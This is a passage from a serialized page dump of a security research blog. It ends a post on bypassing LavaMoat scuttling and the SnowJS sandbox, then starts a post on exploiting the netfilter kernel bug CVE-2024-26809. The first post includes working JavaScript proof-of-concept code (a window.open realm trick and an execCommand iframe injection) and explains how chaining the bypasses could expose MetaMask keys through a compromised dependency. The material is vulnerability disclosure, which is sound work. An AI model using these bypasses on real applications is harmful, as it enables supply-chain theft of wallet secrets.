window.open('/non_existent');\nw.alert(document.domain)\n",[49236],{"type":24,"tag":32,"props":49237,"children":49238},{"__ignoreMap":7},[49239,49281],{"type":24,"tag":83,"props":49240,"children":49241},{"class":85,"line":86},[49242,49246,49251,49255,49259,49263,49268,49272,49277],{"type":24,"tag":83,"props":49243,"children":49244},{"style":90},[49245],{"type":29,"value":9401},{"type":24,"tag":83,"props":49247,"children":49248},{"style":137},[49249],{"type":29,"value":49250}," w",{"type":24,"tag":83,"props":49252,"children":49253},{"style":143},[49254],{"type":29,"value":146},{"type":24,"tag":83,"props":49256,"children":49257},{"style":137},[49258],{"type":29,"value":156},{"type":24,"tag":83,"props":49260,"children":49261},{"style":107},[49262],{"type":29,"value":161},{"type":24,"tag":83,"props":49264,"children":49265},{"style":101},[49266],{"type":29,"value":49267},"open",{"type":24,"tag":83,"props":49269,"children":49270},{"style":107},[49271],{"type":29,"value":558},{"type":24,"tag":83,"props":49273,"children":49274},{"style":187},[49275],{"type":29,"value":49276},"'/non_existent'",{"type":24,"tag":83,"props":49278,"children":49279},{"style":107},[49280],{"type":29,"value":581},{"type":24,"tag":83,"props":49282,"children":49283},{"class":85,"line":113},[49284,49289,49293,49297,49301,49305,49309,49313],{"type":24,"tag":83,"props":49285,"children":49286},{"style":137},[49287],{"type":29,"value":49288},"w",{"type":24,"tag":83,"props":49290,"children":49291},{"style":107},[49292],{"type":29,"value":161},{"type":24,"tag":83,"props":49294,"children":49295},{"style":101},[49296],{"type":29,"value":32436},{"type":24,"tag":83,"props":49298,"children":49299},{"style":107},[49300],{"type":29,"value":558},{"type":24,"tag":83,"props":49302,"children":49303},{"style":137},[49304],{"type":29,"value":32446},{"type":24,"tag":83,"props":49306,"children":49307},{"style":107},[49308],{"type":29,"value":161},{"type":24,"tag":83,"props":49310,"children":49311},{"style":137},[49312],{"type":29,"value":32456},{"type":24,"tag":83,"props":49314,"children":49315},{"style":107},[49316],{"type":29,"value":2905},{"type":24,"tag":25,"props":49318,"children":49319},{},[49320,49322,49327],{"type":29,"value":49321},"This opens a new window with a new JS Realm (another ",{"type":24,"tag":32,"props":49323,"children":49325},{"className":49324},[],[49326],{"type":29,"value":37141},{"type":29,"value":49328}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":24,"tag":25,"props":49330,"children":49331},{},[49332,49334,49341],{"type":29,"value":49333},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":24,"tag":2033,"props":49335,"children":49338},{"href":49336,"rel":49337},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[2037],[49339],{"type":29,"value":49340},"Metamask implementation",{"type":29,"value":2872},{"type":24,"tag":1818,"props":49343,"children":49345},{"id":49344},"snowjs-attack-surface",[49346],{"type":29,"value":49347},"SnowJS Attack Surface",{"type":24,"tag":25,"props":49349,"children":49350},{},[49351],{"type":29,"value":49352},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":24,"tag":25,"props":49354,"children":49355},{},[49356,49358,49365],{"type":29,"value":49357},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":24,"tag":2033,"props":49359,"children":49362},{"href":49360,"rel":49361},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[2037],[49363],{"type":29,"value":49364},"hooked inserters",{"type":29,"value":49366}," functions:",{"type":24,"tag":73,"props":49368,"children":49370},{"className":77,"code":49369,"language":76,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[49371],{"type":24,"tag":32,"props":49372,"children":49373},{"__ignoreMap":7},[49374,49394,49415,49454,49508,49547,49646,49666,49687],{"type":24,"tag":83,"props":49375,"children":49376},{"class":85,"line":86},[49377,49381,49386,49390],{"type":24,"tag":83,"props":49378,"children":49379},{"style":90},[49380],{"type":29,"value":9401},{"type":24,"tag":83,"props":49382,"children":49383},{"style":137},[49384],{"type":29,"value":49385}," map",{"type":24,"tag":83,"props":49387,"children":49388},{"style":143},[49389],{"type":29,"value":146},{"type":24,"tag":83,"props":49391,"children":49392},{"style":107},[49393],{"type":29,"value":125},{"type":24,"tag":83,"props":49395,"children":49396},{"class":85,"line":113},[49397,49402,49406,49411],{"type":24,"tag":83,"props":49398,"children":49399},{"style":137},[49400],{"type":29,"value":49401},"    Range:",{"type":24,"tag":83,"props":49403,"children":49404},{"style":107},[49405],{"type":29,"value":22772},{"type":24,"tag":83,"props":49407,"children":49408},{"style":187},[49409],{"type":29,"value":49410},"'insertNode'",{"type":24,"tag":83,"props":49412,"children":49413},{"style":107},[49414],{"type":29,"value":14006},{"type":24,"tag":83,"props":49416,"children":49417},{"class":85,"line":128},[49418,49423,49427,49432,49436,49441,49445,49450],{"type":24,"tag":83,"props":49419,"children":49420},{"style":137},[49421],{"type":29,"value":49422},"    DocumentFragment:",{"type":24,"tag":83,"props":49424,"children":49425},{"style":107},[49426],{"type":29,"value":22772},{"type":24,"tag":83,"props":49428,"children":49429},{"style":187},[49430],{"type":29,"value":49431},"'replaceChildren'",{"type":24,"tag":83,"props":49433,"children":49434},{"style":107},[49435],{"type":29,"value":568},{"type":24,"tag":83,"props":49437,"children":49438},{"style":187},[49439],{"type":29,"value":49440},"'append'",{"type":24,"tag":83,"props":49442,"children":49443},{"style":107},[49444],{"type":29,"value":568},{"type":24,"tag":83,"props":49446,"children":49447},{"style":187},[49448],{"type":29,"value":49449},"'prepend'",{"type":24,"tag":83,"props":49451,"children":49452},{"style":107},[49453],{"type":29,"value":14006},{"type":24,"tag":83,"props":49455,"children":49456},{"class":85,"line":183},[49457,49462,49466,49470,49474,49478,49482,49486,49490,49495,49499,49504],{"type":24,"tag":83,"props":49458,"children":49459},{"style":137},[49460],{"type":29,"value":49461},"    Document:",{"type":24,"tag":83,"props":49463,"children":49464},{"style":107},[49465],{"type":29,"value":22772},{"type":24,"tag":83,"props":49467,"children":49468},{"style":187},[49469],{"type":29,"value":49431},{"type":24,"tag":83,"props":49471,"children":49472},{"style":107},[49473],{"type":29,"value":568},{"type":24,"tag":83,"props":49475,"children":49476},{"style":187},[49477],{"type":29,"value":49440},{"type":24,"tag":83,"props":49479,"children":49480},{"style":107},[49481],{"type":29,"value":568},{"type":24,"tag":83,"props":49483,"children":49484},{"style":187},[49485],{"type":29,"value":49449},{"type":24,"tag":83,"props":49487,"children":49488},{"style":107},[49489],{"type":29,"value":568},{"type":24,"tag":83,"props":49491,"children":49492},{"style":187},[49493],{"type":29,"value":49494},"'write'",{"type":24,"tag":83,"props":49496,"children":49497},{"style":107},[49498],{"type":29,"value":568},{"type":24,"tag":83,"props":49500,"children":49501},{"style":187},[49502],{"type":29,"value":49503},"'writeln'",{"type":24,"tag":83,"props":49505,"children":49506},{"style":107},[49507],{"type":29,"value":14006},{"type":24,"tag":83,"props":49509,"children":49510},{"class":85,"line":203},[49511,49516,49520,49525,49529,49534,49538,49543],{"type":24,"tag":83,"props":49512,"children":49513},{"style":137},[49514],{"type":29,"value":49515},"    Node:",{"type":24,"tag":83,"props":49517,"children":49518},{"style":107},[49519],{"type":29,"value":22772},{"type":24,"tag":83,"props":49521,"children":49522},{"style":187},[49523],{"type":29,"value":49524},"'appendChild'",{"type":24,"tag":83,"props":49526,"children":49527},{"style":107},[49528],{"type":29,"value":568},{"type":24,"tag":83,"props":49530,"children":49531},{"style":187},[49532],{"type":29,"value":49533},"'insertBefore'",{"type":24,"tag":83,"props":49535,"children":49536},{"style":107},[49537],{"type":29,"value":568},{"type":24,"tag":83,"props":49539,"children":49540},{"style":187},[49541],{"type":29,"value":49542},"'replaceChild'",{"type":24,"tag":83,"props":49544,"children":49545},{"style":107},[49546],{"type":29,"value":14006},{"type":24,"tag":83,"props":49548,"children":49549},{"class":85,"line":212},[49550,49555,49559,49564,49568,49573,49577,49582,49586,49591,49595,49600,49604,49608,49612,49617,49621,49625,49629,49634,49638,49642],{"type":24,"tag":83,"props":49551,"children":49552},{"style":137},[49553],{"type":29,"value":49554},"    Element:",{"type":24,"tag":83,"props":49556,"children":49557},{"style":107},[49558],{"type":29,"value":22772},{"type":24,"tag":83,"props":49560,"children":49561},{"style":187},[49562],{"type":29,"value":49563},"'innerHTML'",{"type":24,"tag":83,"props":49565,"children":49566},{"style":107},[49567],{"type":29,"value":568},{"type":24,"tag":83,"props":49569,"children":49570},{"style":187},[49571],{"type":29,"value":49572},"'outerHTML'",{"type":24,"tag":83,"props":49574,"children":49575},{"style":107},[49576],{"type":29,"value":568},{"type":24,"tag":83,"props":49578,"children":49579},{"style":187},[49580],{"type":29,"value":49581},"'insertAdjacentHTML'",{"type":24,"tag":83,"props":49583,"children":49584},{"style":107},[49585],{"type":29,"value":568},{"type":24,"tag":83,"props":49587,"children":49588},{"style":187},[49589],{"type":29,"value":49590},"'replaceWith'",{"type":24,"tag":83,"props":49592,"children":49593},{"style":107},[49594],{"type":29,"value":568},{"type":24,"tag":83,"props":49596,"children":49597},{"style":187},[49598],{"type":29,"value":49599},"'insertAdjacentElement'",{"type":24,"tag":83,"props":49601,"children":49602},{"style":107},[49603],{"type":29,"value":568},{"type":24,"tag":83,"props":49605,"children":49606},{"style":187},[49607],{"type":29,"value":49440},{"type":24,"tag":83,"props":49609,"children":49610},{"style":107},[49611],{"type":29,"value":568},{"type":24,"tag":83,"props":49613,"children":49614},{"style":187},[49615],{"type":29,"value":49616},"'before'",{"type":24,"tag":83,"props":49618,"children":49619},{"style":107},[49620],{"type":29,"value":568},{"type":24,"tag":83,"props":49622,"children":49623},{"style":187},[49624],{"type":29,"value":49449},{"type":24,"tag":83,"props":49626,"children":49627},{"style":107},[49628],{"type":29,"value":568},{"type":24,"tag":83,"props":49630,"children":49631},{"style":187},[49632],{"type":29,"value":49633},"'after'",{"type":24,"tag":83,"props":49635,"children":49636},{"style":107},[49637],{"type":29,"value":568},{"type":24,"tag":83,"props":49639,"children":49640},{"style":187},[49641],{"type":29,"value":49431},{"type":24,"tag":83,"props":49643,"children":49644},{"style":107},[49645],{"type":29,"value":14006},{"type":24,"tag":83,"props":49647,"children":49648},{"class":85,"line":256},[49649,49654,49658,49662],{"type":24,"tag":83,"props":49650,"children":49651},{"style":137},[49652],{"type":29,"value":49653},"    ShadowRoot:",{"type":24,"tag":83,"props":49655,"children":49656},{"style":107},[49657],{"type":29,"value":22772},{"type":24,"tag":83,"props":49659,"children":49660},{"style":187},[49661],{"type":29,"value":49563},{"type":24,"tag":83,"props":49663,"children":49664},{"style":107},[49665],{"type":29,"value":14006},{"type":24,"tag":83,"props":49667,"children":49668},{"class":85,"line":270},[49669,49674,49678,49683],{"type":24,"tag":83,"props":49670,"children":49671},{"style":137},[49672],{"type":29,"value":49673},"    HTMLIFrameElement:",{"type":24,"tag":83,"props":49675,"children":49676},{"style":107},[49677],{"type":29,"value":22772},{"type":24,"tag":83,"props":49679,"children":49680},{"style":187},[49681],{"type":29,"value":49682},"'srcdoc'",{"type":24,"tag":83,"props":49684,"children":49685},{"style":107},[49686],{"type":29,"value":14006},{"type":24,"tag":83,"props":49688,"children":49689},{"class":85,"line":302},[49690],{"type":24,"tag":83,"props":49691,"children":49692},{"style":107},[49693],{"type":29,"value":1071},{"type":24,"tag":25,"props":49695,"children":49696},{},[49697],{"type":29,"value":49698},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":24,"tag":25,"props":49700,"children":49701},{},[49702],{"type":29,"value":49703},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":24,"tag":1818,"props":49705,"children":49707},{"id":49706},"bypassing-snowjs",[49708],{"type":29,"value":49709},"Bypassing SnowJS",{"type":24,"tag":25,"props":49711,"children":49712},{},[49713,49715,49726,49728,49734],{"type":29,"value":49714},"The deprecated ",{"type":24,"tag":2033,"props":49716,"children":49719},{"href":49717,"rel":49718},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[2037],[49720],{"type":24,"tag":32,"props":49721,"children":49723},{"className":49722},[],[49724],{"type":29,"value":49725},"document.execCommand",{"type":29,"value":49727}," function is used to execute commands inside a ",{"type":24,"tag":32,"props":49729,"children":49731},{"className":49730},[],[49732],{"type":29,"value":49733},"contenteditable",{"type":29,"value":49735}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":24,"tag":73,"props":49737,"children":49740},{"className":49738,"code":49739,"language":32121,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[49741],{"type":24,"tag":32,"props":49742,"children":49743},{"__ignoreMap":7},[49744],{"type":24,"tag":83,"props":49745,"children":49746},{"class":85,"line":86},[49747,49751,49755,49759,49763,49768,49773,49778,49783,49787],{"type":24,"tag":83,"props":49748,"children":49749},{"style":32114},[49750],{"type":29,"value":5552},{"type":24,"tag":83,"props":49752,"children":49753},{"style":90},[49754],{"type":29,"value":31097},{"type":24,"tag":83,"props":49756,"children":49757},{"style":137},[49758],{"type":29,"value":32194},{"type":24,"tag":83,"props":49760,"children":49761},{"style":107},[49762],{"type":29,"value":1275},{"type":24,"tag":83,"props":49764,"children":49765},{"style":187},[49766],{"type":29,"value":49767},"test",{"type":24,"tag":83,"props":49769,"children":49770},{"style":137},[49771],{"type":29,"value":49772}," contenteditable",{"type":24,"tag":83,"props":49774,"children":49775},{"style":137},[49776],{"type":29,"value":49777}," autofocus",{"type":24,"tag":83,"props":49779,"children":49780},{"style":32114},[49781],{"type":29,"value":49782},">\u003C/",{"type":24,"tag":83,"props":49784,"children":49785},{"style":90},[49786],{"type":29,"value":31097},{"type":24,"tag":83,"props":49788,"children":49789},{"style":32114},[49790],{"type":29,"value":5738},{"type":24,"tag":25,"props":49792,"children":49793},{},[49794,49796,49802,49804,49809],{"type":29,"value":49795},"After inserting this element to a page, it is possible to use ",{"type":24,"tag":32,"props":49797,"children":49799},{"className":49798},[],[49800],{"type":29,"value":49801},"insertHTML",{"type":29,"value":49803}," command of ",{"type":24,"tag":32,"props":49805,"children":49807},{"className":49806},[],[49808],{"type":29,"value":49725},{"type":29,"value":49810}," to add a non-sandboxed iframe.",{"type":24,"tag":73,"props":49812,"children":49814},{"className":77,"code":49813,"language":76,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[49815],{"type":24,"tag":32,"props":49816,"children":49817},{"__ignoreMap":7},[49818],{"type":24,"tag":83,"props":49819,"children":49820},{"class":85,"line":86},[49821,49825,49829,49834,49838,49843,49847,49851,49855,49860],{"type":24,"tag":83,"props":49822,"children":49823},{"style":137},[49824],{"type":29,"value":32446},{"type":24,"tag":83,"props":49826,"children":49827},{"style":107},[49828],{"type":29,"value":161},{"type":24,"tag":83,"props":49830,"children":49831},{"style":101},[49832],{"type":29,"value":49833},"execCommand",{"type":24,"tag":83,"props":49835,"children":49836},{"style":107},[49837],{"type":29,"value":558},{"type":24,"tag":83,"props":49839,"children":49840},{"style":187},[49841],{"type":29,"value":49842},"'insertHTML'",{"type":24,"tag":83,"props":49844,"children":49845},{"style":107},[49846],{"type":29,"value":568},{"type":24,"tag":83,"props":49848,"children":49849},{"style":90},[49850],{"type":29,"value":1617},{"type":24,"tag":83,"props":49852,"children":49853},{"style":107},[49854],{"type":29,"value":568},{"type":24,"tag":83,"props":49856,"children":49857},{"style":187},[49858],{"type":29,"value":49859},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":24,"tag":83,"props":49861,"children":49862},{"style":107},[49863],{"type":29,"value":581},{"type":24,"tag":1818,"props":49865,"children":49867},{"id":49866},"impact-on-lavamoat-scuttling",[49868],{"type":29,"value":49869},"Impact On Lavamoat Scuttling",{"type":24,"tag":25,"props":49871,"children":49872},{},[49873],{"type":29,"value":49874},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":24,"tag":25,"props":49876,"children":49877},{},[49878,49880,49885,49887,49892],{"type":29,"value":49879},"For the exploit, the only used functions are in ",{"type":24,"tag":32,"props":49881,"children":49883},{"className":49882},[],[49884],{"type":29,"value":32446},{"type":29,"value":49886}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":24,"tag":32,"props":49888,"children":49890},{"className":49889},[],[49891],{"type":29,"value":37141},{"type":29,"value":49893}," object.",{"type":24,"tag":25,"props":49895,"children":49896},{},[49897,49899,49904],{"type":29,"value":49898},"Consider this example, which runs a scuttled ",{"type":24,"tag":32,"props":49900,"children":49902},{"className":49901},[],[49903],{"type":29,"value":32436},{"type":29,"value":2526},{"type":24,"tag":73,"props":49906,"children":49908},{"className":77,"code":49907,"language":76,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[49909],{"type":24,"tag":32,"props":49910,"children":49911},{"__ignoreMap":7},[49912,49948,49985,50028],{"type":24,"tag":83,"props":49913,"children":49914},{"class":85,"line":86},[49915,49919,49923,49927,49931,49935,49939,49944],{"type":24,"tag":83,"props":49916,"children":49917},{"style":137},[49918],{"type":29,"value":32446},{"type":24,"tag":83,"props":49920,"children":49921},{"style":107},[49922],{"type":29,"value":161},{"type":24,"tag":83,"props":49924,"children":49925},{"style":137},[49926],{"type":29,"value":32138},{"type":24,"tag":83,"props":49928,"children":49929},{"style":107},[49930],{"type":29,"value":161},{"type":24,"tag":83,"props":49932,"children":49933},{"style":137},[49934],{"type":29,"value":34709},{"type":24,"tag":83,"props":49936,"children":49937},{"style":143},[49938],{"type":29,"value":146},{"type":24,"tag":83,"props":49940,"children":49941},{"style":187},[49942],{"type":29,"value":49943}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":24,"tag":83,"props":49945,"children":49946},{"style":107},[49947],{"type":29,"value":321},{"type":24,"tag":83,"props":49949,"children":49950},{"class":85,"line":113},[49951,49955,49959,49963,49967,49972,49976,49981],{"type":24,"tag":83,"props":49952,"children":49953},{"style":137},[49954],{"type":29,"value":32446},{"type":24,"tag":83,"props":49956,"children":49957},{"style":107},[49958],{"type":29,"value":161},{"type":24,"tag":83,"props":49960,"children":49961},{"style":101},[49962],{"type":29,"value":34734},{"type":24,"tag":83,"props":49964,"children":49965},{"style":107},[49966],{"type":29,"value":558},{"type":24,"tag":83,"props":49968,"children":49969},{"style":187},[49970],{"type":29,"value":49971},"'test'",{"type":24,"tag":83,"props":49973,"children":49974},{"style":107},[49975],{"type":29,"value":2554},{"type":24,"tag":83,"props":49977,"children":49978},{"style":101},[49979],{"type":29,"value":49980},"focus",{"type":24,"tag":83,"props":49982,"children":49983},{"style":107},[49984],{"type":29,"value":267},{"type":24,"tag":83,"props":49986,"children":49987},{"class":85,"line":128},[49988,49992,49996,50000,50004,50008,50012,50016,50020,50024],{"type":24,"tag":83,"props":49989,"children":49990},{"style":137},[49991],{"type":29,"value":32446},{"type":24,"tag":83,"props":49993,"children":49994},{"style":107},[49995],{"type":29,"value":161},{"type":24,"tag":83,"props":49997,"children":49998},{"style":101},[49999],{"type":29,"value":49833},{"type":24,"tag":83,"props":50001,"children":50002},{"style":107},[50003],{"type":29,"value":558},{"type":24,"tag":83,"props":50005,"children":50006},{"style":187},[50007],{"type":29,"value":49842},{"type":24,"tag":83,"props":50009,"children":50010},{"style":107},[50011],{"type":29,"value":568},{"type":24,"tag":83,"props":50013,"children":50014},{"style":90},[50015],{"type":29,"value":1617},{"type":24,"tag":83,"props":50017,"children":50018},{"style":107},[50019],{"type":29,"value":568},{"type":24,"tag":83,"props":50021,"children":50022},{"style":187},[50023],{"type":29,"value":49859},{"type":24,"tag":83,"props":50025,"children":50026},{"style":107},[50027],{"type":29,"value":581},{"type":24,"tag":83,"props":50029,"children":50030},{"class":85,"line":183},[50031,50035,50039,50044,50048,50052,50057,50061,50065,50070,50074,50078,50082,50086,50090,50094],{"type":24,"tag":83,"props":50032,"children":50033},{"style":137},[50034],{"type":29,"value":32446},{"type":24,"tag":83,"props":50036,"children":50037},{"style":107},[50038],{"type":29,"value":161},{"type":24,"tag":83,"props":50040,"children":50041},{"style":101},[50042],{"type":29,"value":50043},"getElementsByTagName",{"type":24,"tag":83,"props":50045,"children":50046},{"style":107},[50047],{"type":29,"value":558},{"type":24,"tag":83,"props":50049,"children":50050},{"style":187},[50051],{"type":29,"value":36460},{"type":24,"tag":83,"props":50053,"children":50054},{"style":107},[50055],{"type":29,"value":50056},")[",{"type":24,"tag":83,"props":50058,"children":50059},{"style":245},[50060],{"type":29,"value":1166},{"type":24,"tag":83,"props":50062,"children":50063},{"style":107},[50064],{"type":29,"value":1657},{"type":24,"tag":83,"props":50066,"children":50067},{"style":137},[50068],{"type":29,"value":50069},"contentWindow",{"type":24,"tag":83,"props":50071,"children":50072},{"style":107},[50073],{"type":29,"value":161},{"type":24,"tag":83,"props":50075,"children":50076},{"style":101},[50077],{"type":29,"value":32436},{"type":24,"tag":83,"props":50079,"children":50080},{"style":107},[50081],{"type":29,"value":558},{"type":24,"tag":83,"props":50083,"children":50084},{"style":137},[50085],{"type":29,"value":32446},{"type":24,"tag":83,"props":50087,"children":50088},{"style":107},[50089],{"type":29,"value":161},{"type":24,"tag":83,"props":50091,"children":50092},{"style":137},[50093],{"type":29,"value":32456},{"type":24,"tag":83,"props":50095,"children":50096},{"style":107},[50097],{"type":29,"value":581},{"type":24,"tag":1818,"props":50099,"children":50101},{"id":50100},"snowjs-patch",[50102],{"type":29,"value":50103},"SnowJS Patch",{"type":24,"tag":25,"props":50105,"children":50106},{},[50107,50109,50116,50118,50125],{"type":29,"value":50108},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":24,"tag":2033,"props":50110,"children":50113},{"href":50111,"rel":50112},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[2037],[50114],{"type":29,"value":50115},"browser feature within W3C standards",{"type":29,"value":50117},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":24,"tag":2033,"props":50119,"children":50122},{"href":50120,"rel":50121},"https://github.com/weizman/Realms-Initialization-Control",[2037],[50123],{"type":29,"value":50124},"Here",{"type":29,"value":50126}," is their new proposal.",{"type":24,"tag":51,"props":50128,"children":50130},{"id":50129},"chaining-the-impacts",[50131],{"type":29,"value":50132},"Chaining The Impacts",{"type":24,"tag":25,"props":50134,"children":50135},{},[50136],{"type":29,"value":50137},"We were able to find two vulnerabilities in lavamoat project:",{"type":24,"tag":63,"props":50139,"children":50140},{},[50141,50146],{"type":24,"tag":67,"props":50142,"children":50143},{},[50144],{"type":29,"value":50145},"Policy File Bypass",{"type":24,"tag":67,"props":50147,"children":50148},{},[50149],{"type":29,"value":50150},"Scuttling Bypass",{"type":24,"tag":25,"props":50152,"children":50153},{},[50154],{"type":29,"value":50155},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":24,"tag":25,"props":50157,"children":50158},{},[50159],{"type":29,"value":50160},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":24,"tag":51,"props":50162,"children":50163},{"id":28683},[50164],{"type":29,"value":18686},{"type":24,"tag":25,"props":50166,"children":50167},{},[50168],{"type":29,"value":50169},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":24,"tag":31097,"props":50171,"children":50172},{"style":31099},[50173],{"type":24,"tag":2510,"props":50174,"children":50177},{"src":50175,"alt":50176,"style":31105},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":24,"tag":18159,"props":50179,"children":50181},{"className":50180,"dataFootnotes":7},[18162],[50182,50187],{"type":24,"tag":51,"props":50183,"children":50185},{"className":50184,"id":15220},[18167],[50186],{"type":29,"value":18170},{"type":24,"tag":63,"props":50188,"children":50189},{},[50190],{"type":24,"tag":67,"props":50191,"children":50192},{"id":30117},[50193,50195,50202,50203],{"type":29,"value":50194},"Excluding SES, which was covered ",{"type":24,"tag":2033,"props":50196,"children":50199},{"href":50197,"rel":50198},"https://osec.io/blog/2023-11-01-metamask-snaps",[2037],[50200],{"type":29,"value":50201},"in our last article",{"type":29,"value":6204},{"type":24,"tag":2033,"props":50204,"children":50206},{"href":30145,"ariaLabel":18273,"className":50205,"dataFootnoteBackref":7},[18275],[50207],{"type":29,"value":18278},{"type":24,"tag":2584,"props":50209,"children":50210},{},[50211],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":50213},[50214,50218,50224,50230,50231,50232],{"id":18695,"depth":113,"text":18698,"children":50215},[50216,50217],{"id":28766,"depth":128,"text":28769},{"id":46839,"depth":128,"text":46842},{"id":47595,"depth":113,"text":47598,"children":50219},[50220,50221,50222,50223],{"id":47846,"depth":128,"text":47849},{"id":48320,"depth":128,"text":48323},{"id":48975,"depth":128,"text":48978},{"id":49098,"depth":128,"text":49101},{"id":49216,"depth":113,"text":49219,"children":50225},[50226,50227,50228,50229],{"id":49344,"depth":128,"text":49347},{"id":49706,"depth":128,"text":49709},{"id":49866,"depth":128,"text":49869},{"id":50100,"depth":128,"text":50103},{"id":50129,"depth":113,"text":50132},{"id":28683,"depth":113,"text":18686},{"id":15220,"depth":113,"text":18170},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":50237,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":50238,"description":50239,"author":50240,"image":50241,"date":50243,"isFeatured":16,"tags":50244,"onBlogPage":16,"body":50247,"_type":2606,"_id":60625,"_source":2608,"_file":60626,"_stem":60627,"_extension":2611},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":50242,"height":9012,"width":5469},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[50245,50246],"kernal","linux",{"type":21,"children":50248,"toc":60593},[50249,50262,50276,50281,50287,50296,50301,50307,50312,50330,50344,50353,50386,50391,50397,50416,50449,50455,50468,50678,50745,51309,51328,51552,51611,51617,51637,51677,51865,51870,52021,52077,52082,52595,52614,52883,52909,53418,53485,53491,53527,53532,53798,53831,53843,53870,53882,53887,53893,53914,53920,53941,53964,54796,54802,54842,55382,55393,55427,55494,55548,55780,55786,55830,56294,56300,56311,56341,56424,56429,56434,56470,56522,56553,57108,57114,57131,57137,57142,57148,57176,57369,57389,57405,58000,58006,58041,58064,58076,58082,58110,58707,58732,59701,59712,59725,59738,60504,60518,60524,60536,60542,60570,60575,60579,60584,60589],{"type":24,"tag":25,"props":50250,"children":50251},{},[50252,50254,50261],{"type":29,"value":50253},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":24,"tag":2033,"props":50255,"children":50258},{"href":50256,"rel":50257},"https://google.github.io/security-research/kernelctf/rules.html",[2037],[50259],{"type":29,"value":50260},"KernelCTF VRP",{"type":29,"value":161},{"type":24,"tag":25,"props":50263,"children":50264},{},[50265,50267,50274],{"type":29,"value":50266},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":24,"tag":2033,"props":50268,"children":50271},{"href":50269,"rel":50270},"https://github.com/conlonialC",[2037],[50272],{"type":29,"value":50273},"lonial con",{"type":29,"value":50275},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":24,"tag":25,"props":50277,"children":50278},{},[50279],{"type":29,"value":50280},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":24,"tag":51,"props":50282,"children":50284},{"id":50283},"the-kernel",[50285],{"type":29,"value":50286},"The kernel",{"type":24,"tag":25,"props":50288,"children":50289},{},[50290,50292],{"type":29,"value":50291},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, 